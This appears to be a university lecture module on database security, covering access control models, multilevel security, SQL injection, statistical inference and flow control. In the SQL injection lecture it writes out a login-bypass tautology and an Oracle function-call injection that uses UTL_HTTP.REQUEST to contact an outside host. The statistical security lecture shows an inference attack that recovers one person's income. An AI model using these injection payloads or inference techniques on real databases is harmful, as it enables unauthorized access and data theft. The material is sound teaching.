Module 1

Data Security

Lecture: 01

❖ **MOTIVATION**

This module consists of Data Security issues, Access Control mechanism. This module discusses techniques for securing databases against a variety of threats. It also presents schemes of providing access privileges to authorized users. Some of the security threats to databases; such as SQL Injection.

❖ **OBJECTIVE**

The objective behind this module is to study following general principles:

- Overview of Data Security issues, Access Control mechanism, SQL Injection;
- Introduction to Statistical Database Security and Flow Control.

❖ **Syllabus:**

Prerequisites	**Syllabus**	**Duration**	**Self-Study**
Data Security	• Introduction to Database Security Issues; • Discretionary Access Control Based on Granting and Revoking Privileges • Mandatory Access Control and Role-Based Access Control for Multilevel Security • SQL Injection • Introduction to Statistical Database Security • Introduction to Flow Control	4 Hours	8 Hours

Theory:

1.1 Introduction to Database Security Issues

Types of Security:

Database security is a broad area that addresses many issues, including the following:

Various legal and ethical issues regarding the right to access certain information.
For example, some information may be deemed to be private and cannot be accessed legally by unauthorized organizations or persons. In the United States, there are numerous laws governing privacy of information.

Policy issues at the governmental, institutional, or corporate level as to what kinds of information should not be made publicly available.
For example, credit ratings and personal medical records.

System-related issues such as the *system levels* at which various security functions should be enforced.
For example, whether a security function should be handled at the physical hardware level, the operating system level, or the DBMS level.

The need in some organizations to identify multiple *security levels* and to categorize the data and users based on these classifications.
For example, top secret, secret, confidential, and unclassified. The security policy of the organization with respect to permitting access to various classifications of data must be enforced.

Threats to Databases. Threats to databases can result in the loss or degradation of some or all of the following commonly accepted security goals: integrity, availability, and confidentiality.

Loss of integrity. Database integrity refers to the requirement that information be protected from improper modification. Modification of data includes creation, insertion, updating, changing the status of data, and deletion. Integrity is lost if unauthorized changes are made to the data by either intentional or accidental acts. If the loss of system or data integrity is not corrected, continued use of the contaminated system or corrupted data could result in inaccuracy, fraud, or erroneous decisions.

Loss of availability. Database availability refers to making objects available to a human user or a program to which they have a legitimate right.

Loss of confidentiality. Database confidentiality refers to the protection of data from unauthorized disclosure. The impact of unauthorized disclosure of confidential information can range from violation of the Data Privacy Act to the jeopardization of national security. Unauthorized, unanticipated, or unintentional disclosure could result in loss of public confidence, embarrassment, or legal action against the organization.

To protect databases against these types of threats, it is common to implement *four kinds of control measures*: access control, inference control, flow control, and encryption.

In a multiuser database system, the DBMS must provide techniques to enable certain users or user groups to access selected portions of a database without gaining access to the rest of the database. This is particularly important when a large integrated database is to be used by many different users within the same organization.

For example, sensitive information such as employee salaries or performance reviews should be kept confidential from most of the database system's users. A DBMS typically includes a **database security and authorization subsystem** that is responsible for ensuring the security of portions of a database against unauthorized access. It is now customary to refer to two types of database security mechanisms:

■ **Discretionary security mechanisms.** These are used to grant privileges to users, including the capability to access specific data files, records, or fields in a specified mode (such as read, insert, delete, or update).

■ **Mandatory security mechanisms.** These are used to enforce multilevel security by classifying the data and users into various security classes (or levels) and then implementing the appropriate security policy of the organization.

For example, a typical security policy is to permit users at a certain classification (or clearance) level to see only the data items classified at the user's own (or lower) classification level. An extension of this is *role-based security*, which enforces policies and privileges based on the concept of organizational roles.
Four main control measures are used to provide security of data in databases:
■ Access control
■ Inference control
■ Flow control
■ Data encryption

A security problem common to computer systems is that of preventing unauthorized persons from accessing the system itself, either to obtain information or to make malicious changes in a portion of the database. The security mechanism of a DBMS must include provisions for restricting access to the database system as a whole. This function, called **access control**, is handled by creating user accounts and passwords to control the login process by the DBMS.
S**tatistical databases** are used to provide statistical information or summaries of values based on various criteria. For example, a database for population statistics may provide statistics based on age groups, income levels, household size, education levels, and other criteria. Statistical database users such as government statisticians or market research firms are allowed to access the database to retrieve statistical information about a population but not to access the detailed confidential information about specific individuals. Security for statistical databases must ensure that information about individuals cannot be accessed. It is sometimes possible to deduce or infer certain facts concerning individuals from queries that involve only summary statistics on groups; consequently, this must not be permitted either. This problem, called **statistical database security**.

The corresponding control measures are called **inference control** measures. Another security issue is that of **flow control**, which prevents information from flowing in such a way that it reaches unauthorized users. Channels that are pathways for information to flow implicitly in ways that violate the security policy of an organization are called **covert channels**. A final control measure is **data encryption**, which is used to protect sensitive data (such as credit card numbers) that is transmitted via some type of communications network. Encryption can be used to provide additional protection for sensitive portions of a database as well. The data is **encoded** using some coding algorithm. An unauthorized user who accesses encoded data will have difficulty deciphering it, but authorized users are given decoding or decrypting algorithms (or

keys) to decipher the data. Encrypting techniques that are very difficult to decode without a key have been developed for military applications.

Lecture: 02

1.2 Discretionary Access Control Based on Granting and Revoking Privileges

The typical method of enforcing **discretionary access control** in a database system is based on the granting and revoking of **privileges**. Let us consider privileges in the context of a relational DBMS. In particular, we will discuss a system of privileges somewhat similar to the one originally developed for the SQL language. Many current relational DBMSs use some variation of this technique. The main idea is to include statements in the query language that allow the DBA and selected users to grant and revoke privileges.

Types of Discretionary Privileges
In SQL2 and later versions 3 the concept of an **authorization identifier** is used to refer, roughly speaking, to a user account (or group of user accounts). For simplicity, we will use the words *user* or *account* interchangeably in place of *authorization identifier*. The DBMS must provide selective access to each relation in the database based on specific accounts. Operations may also be controlled; thus, having an account does not necessarily entitle the account holder to all the functionality provided by the DBMS. Informally, there are two levels for assigning privileges to use the database system:

■ **The account level.** At this level, the DBA specifies the particular privileges that each account holds independently of the relations in the database.

■ **The relation (or table) level.** At this level, the DBA can control the privilege to access each individual relation or view in the database.

The privileges at the account level apply to the capabilities provided to the account itself and can include the CREATE SCHEMA or CREATE TABLE privilege, to create a schema or base relation; the CREATE VIEW privilege; the ALTER privilege, to apply schema changes such as adding or removing attributes from relations; the DROP privilege, to delete relations or views; the MODIFY privilege, to insert, delete, or update tuples; and the SELECT privilege, to retrieve information from the database by using a SELECT query. Notice that these account privileges apply to the account in general. If a certain account does not have the CREATE TABLE privilege, no relations can be created from that account. Account-level privileges are not defined as part of SQL2; they are left to the DBMS implementers to define. In earlier versions of SQL, a CREATETAB privilege existed to give an account the privilege to create tables (relations).

The second level of privileges applies to the relation level, whether they are base relations or virtual (view) relations. These privileges are defined for SQL2. In the following discussion, the term relation may refer either to a base relation or to a view, unless we explicitly specify one or the other. Privileges at the relation level specify for each user the individual relations on which each type of command can be applied. Some privileges also refer to individual columns

(attributes) of relations. SQL2 commands provide privileges at the relation and attribute level only. Although this is quite general, it makes it difficult to create accounts with limited privileges. The granting and revoking of privileges generally follow an authorization model for discretionary privileges known as the access matrix model, where the rows of a matrix M represent subjects (users, accounts, programs) and the columns represent objects (relations, records, columns, views, operations). Each position M(i, j) in the matrix represents the types of privileges (read, write, update) that subject i holds on object j. To control the granting and revoking of relation privileges, each relation *R* in a database is assigned an **owner account**, which is typically the account that was used when the relation was created in the first place. The owner of a relation is given all privileges on that relation. In SQL2, the DBA can assign an owner to a whole schema by creating the schema and associating the appropriate authorization identifier with that schema, using the CREATE SCHEMA command (see Section 4.1.1). The owner account holder can pass privileges on any of the owned relations to other users by granting privileges to their accounts. In SQL the following types of privileges can be granted on each individual relation R:

SELECT (retrieval or read) privilege on *R*:
Gives the account retrieval privilege. In SQL this gives the account the privilege to use the SELECT statement to retrieve tuples from *R*.

Modification privileges on *R*:
This gives the account the capability to modify the tuples of *R*. In SQL this includes three privileges: UPDATE, DELETE, and INSERT. These correspond to the three SQL commands for modifying a table *R*. Additionally, both the INSERT and UPDATE privileges can specify that only certain attributes of *R* can be modified by the account.

References privilege on *R*:
This gives the account the capability to *reference* (or refer to) a relation *R* when specifying integrity constraints. This privilege can also be restricted to specific attributes of *R*. Notice that to create a view, the account must have the SELECT privilege on *all relations* involved in the view definition in order to specify the query that corresponds to the view.

Lecture: 03

1.3 Mandatory Access Control and Role-Based Access Control for Multilevel Security

The discretionary access control technique of granting and revoking privileges on relations has traditionally been the main security mechanism for relational database systems. This is an all-or-nothing method: A user either has or does not have a certain privilege. In many applications, an additional security policy is needed that classifies data and users based on security classes. This approach, known as mandatory access control (MAC), would typically be combined with the discretionary access control mechanisms. It is important to note that most commercial DBMSs currently provide mechanisms only for discretionary access control.

However, the need for multilevel security exists in government, military, and intelligence applications, as well as in many industrial and corporate applications. Some DBMS vendors—

for example, Oracle—have released special versions of their RDBMSs that incorporate mandatory access control for government use.

Typical security classes are top secret (TS), secret (S), confidential (C), and unclassified (U), where TS is the highest level and U the lowest. Other more complex security classification schemes exist, in which the security classes are organized in a lattice.

For simplicity, we will use the system with four security classification levels, where TS ≥ S ≥ C ≥ U, to illustrate our discussion. The commonly used model for multilevel security, known as the Bell-LaPadula model, classifies each subject (user, account, program) and object (relation, tuple, column, view, operation) into one of the security classifications TS, S, C, or U.We will refer to the clearance (classification) of a subject S as class(S) and to the classification of an object O as class(O). Two restrictions are enforced on data access based on the subject/object classifications: 1. A subject S is not allowed read access to an object O unless class(S) ≥ class(O). This is known as the simple security property.
2. A subject S is not allowed to write an object O unless class(S) ≤ class(O). This is known as the star property (or *-property). The first restriction is intuitive and enforces the obvious rule that no subject can read an object whose security classification is higher than the subject's security clearance.

The second restriction is less intuitive. It prohibits a subject from writing an object at a lower security classification than the subject's security clearance. Violation of this rule would allow information to flow from higher to lower classifications, which violates a basic tenet of multilevel security. For example, a user (subject) with TS clearance may make a copy of an object with classification TS and then write it back as a new object with classification U, thus making it visible throughout the system. To incorporate multilevel security notions into the relational database model, it is common to consider attribute values and tuples as data objects.

Hence, each attribute A is associated with a classification attribute C in the schema, and each attribute value in a tuple is associated with a corresponding security classification. In addition, in some models, a tuple classification attribute TC is added to the relation attributes to provide a classification for each tuple as a whole. The model we describe here is known as the multilevel model, because it allows classifications at multiple security levels. A multilevel relation schema R with n attributes would be represented as: R(A1, C1, A2, C2, ..., An, Cn, TC) where each Ci represents the classification attribute associated with attribute Ai.

The value of the tuple classification attribute TC in each tuple t—which is the highest of all attribute classification values within t—provides a general classification for the tuple itself. Each attribute classification Ci provides a finer security classification for each attribute value within the tuple. The value of TC in each tuple t is the highest of all attribute classification values Ci within t. The apparent key of a multilevel relation is the set of attributes that would have formed the primary key in a regular (single-level) relation.

A multilevel relation will appear to contain different data to subjects (users) with different clearance levels. In some cases, it is possible to store a single tuple in the relation at a higher classification level and produce the corresponding tuples at a lower-level classification through a process known as filtering. In other cases, it is necessary to store two or more tuples at different classification levels with the same value for the apparent key.

This leads to the concept of polyinstantiation, 4 where several tuples can have the same apparent key value but have different attribute values for users at different clearance levels. Assume that the Name attribute is the apparent key, and consider the query SELECT * FROM EMPLOYEE. A user with security clearance S would see the same relation shown in Figure 24.2(a), since all tuple classifications are less than or equal to S.

However, a user with security clearance C would not be allowed to see the values for Salary of 'Brown' and Job_performance of 'Smith', since they have higher classification. The tuples would be filtered to appear as shown in Figure, with Salary and Job_performance appearing as null. For a user with security clearance U, the filtering allows only the Name attribute of 'Smith' to appear, with all the other.

(a) EMPLOYEE

Name	Salary	JobPerformance	TC
Smith U	40000 C	Fair S	S
Brown C	80000 S	Good C	S

(b) EMPLOYEE

Name	Salary	JobPerformance	TC
Smith U	40000 C	NULL C	C
Brown C	NULL C	Good C	C

(c) EMPLOYEE

Name	Salary	JobPerformance	TC
Smith U	NULL U	NULL U	U

(d) EMPLOYEE

Name	Salary	JobPerformance	TC
Smith U	40000 C	Fair S	S
Smith U	40000 C	Excellent C	C
Brown C	80000 S	Good C	S

Figure
A multilevel relation to illustrate multilevel security. (a) The original EMPLOYEE tuples. (b) Appearance of EMPLOYEE after filtering for classification C users. (c) Appearance of EMPLOYEE after filtering for classification U users. (d) Polyinstantiation of the Smith tuple.

Lecture: 04

1.4 SQL Injection

SQL Injection is one of the most common threats to a database system. We will discuss it in detail later in this section. Some of the other attacks on databases that are quite frequent are:

■ **Unauthorized privilege escalation.** This attack is characterized by an individual attempting to elevate his or her privilege by attacking vulnerable points in the database systems.

■ **Privilege abuse.** While the previous attack is done by an unauthorized user, this attack is performed by a privileged user. For example, an administrator who is allowed to change student information can use this privilege to update student grades without the instructor's permission.

■ **Denial of service.** A **Denial of Service (DOS) attack** is an attempt to make resources unavailable to its intended users. It is a general attack category in which access to network applications or data is denied to intended users by overflowing the buffer or consuming resources.

■ **Weak Authentication.** If the user authentication scheme is weak, an attacker can impersonate the identity of a legitimate user by obtaining their login credentials.

SQL Injection Methods

Web programs and applications that access a database can send commands and data to the database, as well as display data retrieved from the database through the Web browser. In an **SQL Injection attack**, the attacker injects a string input through the application, which changes or manipulates the SQL statement to the attacker's advantage. An SQL Injection attack can harm the database in various ways, such as unauthorized manipulation of the database, or retrieval of sensitive data. It can also be used to execute system level commands that may cause the system to deny service to the application. This section describes types of injection attacks.

SQL Manipulation:
A manipulation attack, which is the most common type of injection attack, changes an SQL command in the application—for example, by adding conditions to the WHERE-clause of a query, or by expanding a query with additional query components using set operations such as UNION, INTERSECT, or MINUS. Other types of manipulation attacks are also possible. A typical manipulation attack occurs during database login. For example, suppose that a simplistic authentication procedure issues the following query and checks to see if any rows were returned:

SELECT * **FROM** users **WHERE** username = 'jake' and PASSWORD ='jakespasswd'.

The attacker can try to change (or manipulate) the SQL statement, by changing it as follows:

SELECT * **FROM** users **WHERE** username = 'jake' and (PASSWORD = 'jakespasswd' or 'x' = 'x')

As a result, the attacker who knows that 'jake' is a valid login of some user is able to log into the database system as 'jake'without knowing his password and is able to do everything that 'jake' may be authorized to do to the database system. Code Injection. This type of attack attempts to add additional SQL statements or commands to the existing SQL statement by exploiting a computer bug, which is caused by processing invalid data. The attacker can inject or introduce code into a computer program to change the course of execution. Code injection is a popular technique for system hacking or cracking to gain information.

Function Call Injection. In this kind of attack, a database function or operating system function call is inserted into a vulnerable SQL statement to manipulate the data or make a privileged system call. For example, it is possible to exploit a function that performs some aspect related to network communication. In addition, functions that are contained in a customized database package, or any custom database function, can be executed as part of an SQL query. In particular, dynamically created SQL queries can be exploited since they are constructed at run time.

For example, the *dual* table is used in the FROM clause of SQL in Oracle when a user needs to run SQL that does not logically have a table name. To get today's date, we can use:

SELECT SYSDATE FROM dual; The following example demonstrates that even the simplest SQL statements can be vulnerable.

SELECT TRANSLATE ('user input', 'from_string', 'to_string') **FROM** dual; Here, TRANSLATE is used to replace a string of characters with another string of characters. The TRANSLATE function above will replace the characters of the 'from_string' with the characters in the 'to_string' one by one. This means that the *f* will be replaced with the *t*, the *r* with the *o*, the *o* with the _, and so on. This type of SQL statement can be subjected to a function injection attack. Consider the following example:

SELECT TRANSLATE (" || UTL_HTTP.REQUEST ('http://129.107.2.1/') || '','98765432', '9876') **FROM** dual;

The user can input the string (" || UTL_HTTP.REQUEST ('http://129.107.2.1/')|| ''), where || is the concatenate operator, thus requesting a page from a Web server. UTL_HTTP makes Hypertext Transfer Protocol (HTTP) callouts from SQL. The REQUEST object takes a URL ('http://129.107.2.1/' in this example) as a parameter, contacts that site, and returns the data (typically HTML) obtained from that site. The attacker could manipulate the string he inputs, as well as the URL, to include other functions and do other illegal operations.We just used a dummy example to show conversion of '98765432' to '9876', but the user's intent would be to access the URL and get sensitive information. The attacker can then retrieve useful information from the database server - located at the URL that is passed as a parameter and send it to the Web server (that calls the TRANSLATE function).

Lecture: 05

1.5 Introduction to Statistical Database Security

Statistical databases are used mainly to produce statistics about various populations. The database may contain confidential data about individuals, which should be protected from user access. However, users are permitted to retrieve statistical information about the populations, such as averages, sums, counts, maximums, minimums, and standard deviations. The techniques that have been developed to protect the privacy of individual information are beyond the scope of this book.We will illustrate the problem with a very simple example, which refers to the relation shown in Figure.

This is a PERSON relation with the attributes Name, Ssn, Income, Address, City, State, Zip, Sex, and Last_degree. A population is a set of tuples of a relation (table) that satisfy some selection condition. Hence, each selection condition on the PERSON relation will specify a particular population of PERSON tuples.

For example, the condition Sex = 'M' specifies the male population; the condition ((Sex = 'F') AND (Last_degree = 'M.S.' OR Last_degree = 'Ph.D.')) specifies the female population that has an M.S. or Ph.D. degree as their highest degree; and the condition City = 'Houston' specifies the population that lives in Houston. Statistical queries involve applying statistical functions to a population of tuples. For example, we may want to retrieve the number of individuals in a population or the average income in the population.

However, statistical users are not allowed to retrieve individual data, such as the income of a specific person. Statistical database security techniques must prohibit the retrieval of individual data. This can be achieved by prohibiting queries that retrieve attribute values and by allowing only queries that involve statistical aggregate functions such as COUNT, SUM, MIN, MAX, AVERAGE, and STANDARD DEVIATION. Such queries are sometimes called statistical queries. It is the responsibility of a database management system to ensure the confidentiality of information about individuals, while still providing useful statistical summaries of data about those individuals to users. Provision of privacy protection of users in a statistical database is paramount; its violation is illustrated in the following example.

PERSON

Name	Ssn	Income	Address	City	State	Zip	Sex	Last_degree

Figure
The PERSON relation schema for illustrating statistical database security.

In some cases it is possible to **infer** the values of individual tuples from a sequence of statistical queries. This is particularly true when the conditions result in a population consisting of a small number of tuples. As an illustration, consider the following statistical queries:

Q1: SELECT COUNT (*) **FROM** PERSON
WHERE <condition>;
Q2: SELECT AVG (Income) **FROM** PERSON
WHERE <condition>;

Now suppose that we are interested in finding the Salary of Jane Smith, and we know that she has a Ph.D. degree and that she lives in the city of Bellaire, Texas.We issue the statistical query Q1 with the following condition: (Last_degree='Ph.D.' AND Sex='F' AND City='Bellaire' AND State='Texas') If we get a result of 1 for this query, we can issue Q2 with the same condition and find the Salary of Jane Smith. Even if the result of Q1 on the preceding condition is not 1 but is a small number—say 2 or 3—we can issue statistical queries using the functions MAX, MIN, and AVERAGE to identify the possible range of values for the Salary of Jane Smith. The possibility of inferring individual information from statistical queries is reduced if no statistical queries are permitted whenever the number of tuples in the population specified by the selection condition falls below some threshold. Another technique for prohibiting retrieval of individual information is to prohibit sequences of queries that refer repeatedly to the same population of tuples. It is also possible to introduce slight inaccuracies or noise into the results of statistical queries deliberately, to make it difficult to deduce individual information from the results. Another technique is partitioning of the database. Partitioning implies that records are stored in groups of some minimum size; queries can refer to any complete group or set of groups, but never to subsets of records within a group.

Lecture: 06

1.6 Introduction to Flow Control

Flow control regulates the distribution or flow of information among accessible objects. A flow between object X and object Y occurs when a program reads values from X and writes values

into Y. Flow controls check that information contained in some objects does not flow explicitly or implicitly into less protected objects.

Thus, a user cannot get indirectly in Y what he or she cannot get directly in X. Active flow control began in the early 1970s.Most flow controls employ some concept of security class; the transfer of information from a sender to a receiver is allowed only if the receiver's security class is at least as privileged as the sender's. Examples of a flow control include preventing a service program from leaking a customer's confidential data, and blocking the transmission of secret military data to an unknown classified user. A flow policy specifies the channels along which information is allowed to move. The simplest flow policy specifies just two classes of information—confidential (C) and nonconfidential (N)—and allows all flows except those from class C to class N.

This policy can solve the confinement problem that arises when a service program handles data such as customer information, some of which may be confidential. For example, an income-tax computing service might be allowed to retain a customer's address and the bill for services rendered, but not a customer's income or deductions. Access control mechanisms are responsible for checking users' authorizations for resource access: Only granted operations are executed. Flow controls can be enforced by an extended access control mechanism, which involves assigning a security class (usually called the clearance) to each running program.

The program is allowed to read a particular memory segment only if its security class is as high as that of the segment. It is allowed to write in a segment only if its class is as low as that of the segment. This automatically ensures that no information transmitted by the person can move from a higher to a lower class. For example, a military program with a secret clearance can only read from objects that are unclassified and confidential and can only write into objects that are secret or top secret. Two types of flow can be distinguished: explicit flows, occurring as a consequence of assignment instructions, such as Y:= f(X1,Xn,), and implicit flows generated by conditional instructions, such as if f(Xm+1, ..., Xn) then Y:= f (X1,Xm).

Flow control mechanisms must verify that only authorized flows, both explicit and implicit, are executed. A set of rules must be satisfied to ensure secure information flows. Rules can be expressed using flow relations among classes and assigned to information, stating the authorized flows within a system. (An information flow from A to B occurs when information associated with A affects the value of information associated with B. The flow results from operations that cause information transfer from one object to another.) These relations can define, for a class, the set of classes where information (classified in that class) can flow, or can state the specific relations to be verified between two classes to allow information to flow from one to the other. In general, flow control mechanisms implement the controls by assigning a label to each object and by specifying the security class of the object. Labels are then used to verify the flow relations defined in the model.

Covert Channels

A covert channel allows a transfer of information that violates the security or the policy. Specifically, a covert channel allows information to pass from a higher classification level to a lower classification level through improper means. Covert channels can be classified into two broad categories: timing channels and storage.

The distinguishing feature between the two is that in a timing channel the information is conveyed by the timing of events or processes, whereas storage channels do not require any temporal synchronization, in that information is conveyed by accessing system information or what is otherwise inaccessible to the user.

In a simple example of a covert channel, consider a distributed database system in which two nodes have user security levels of secret (S) and unclassified (U). In order for a transaction to commit, both nodes must agree to commit. They mutually can only do operations that are consistent with the *-property, which states that in any transaction, the S site cannot write or pass information to the U site. However, if these two sites collude to set up a covert channel between them, a transaction involving secret data may be committed unconditionally by the U site, but the S site may do so in some predefined agreed-upon way so that certain information may be passed from the S site to the U site, violating the *-property.

This may be achieved where the transaction runs repeatedly, but the actions taken by the S site implicitly convey information to the U site. Measures such as locking, prevent concurrent writing of the information by users with different security levels into the same objects, preventing the storage-type covert channels. Operating systems and distributed databases provide control over the multiprogramming of operations that allows a sharing of resources without the possibility of encroachment of one program or process into another's memory or other resources in the system, thus preventing timing-oriented covert channels. In general, covert channels are not a major problem in well-implemented robust database implementations.

However, certain schemes may be contrived by clever users that implicitly transfer information. Some security experts believe that one way to avoid covert channels is to disallow programmers to actually gain access to sensitive data that a program will process after the program has been put into operation.

For example, a programmer for a bank has no need to access the names or balances in depositors' accounts. Programmers for brokerage firms do not need to know what buy and sell orders exist for clients. During program testing, access to a form of real data or some sample test data may be justifiable, but not after the program has been accepted for regular use.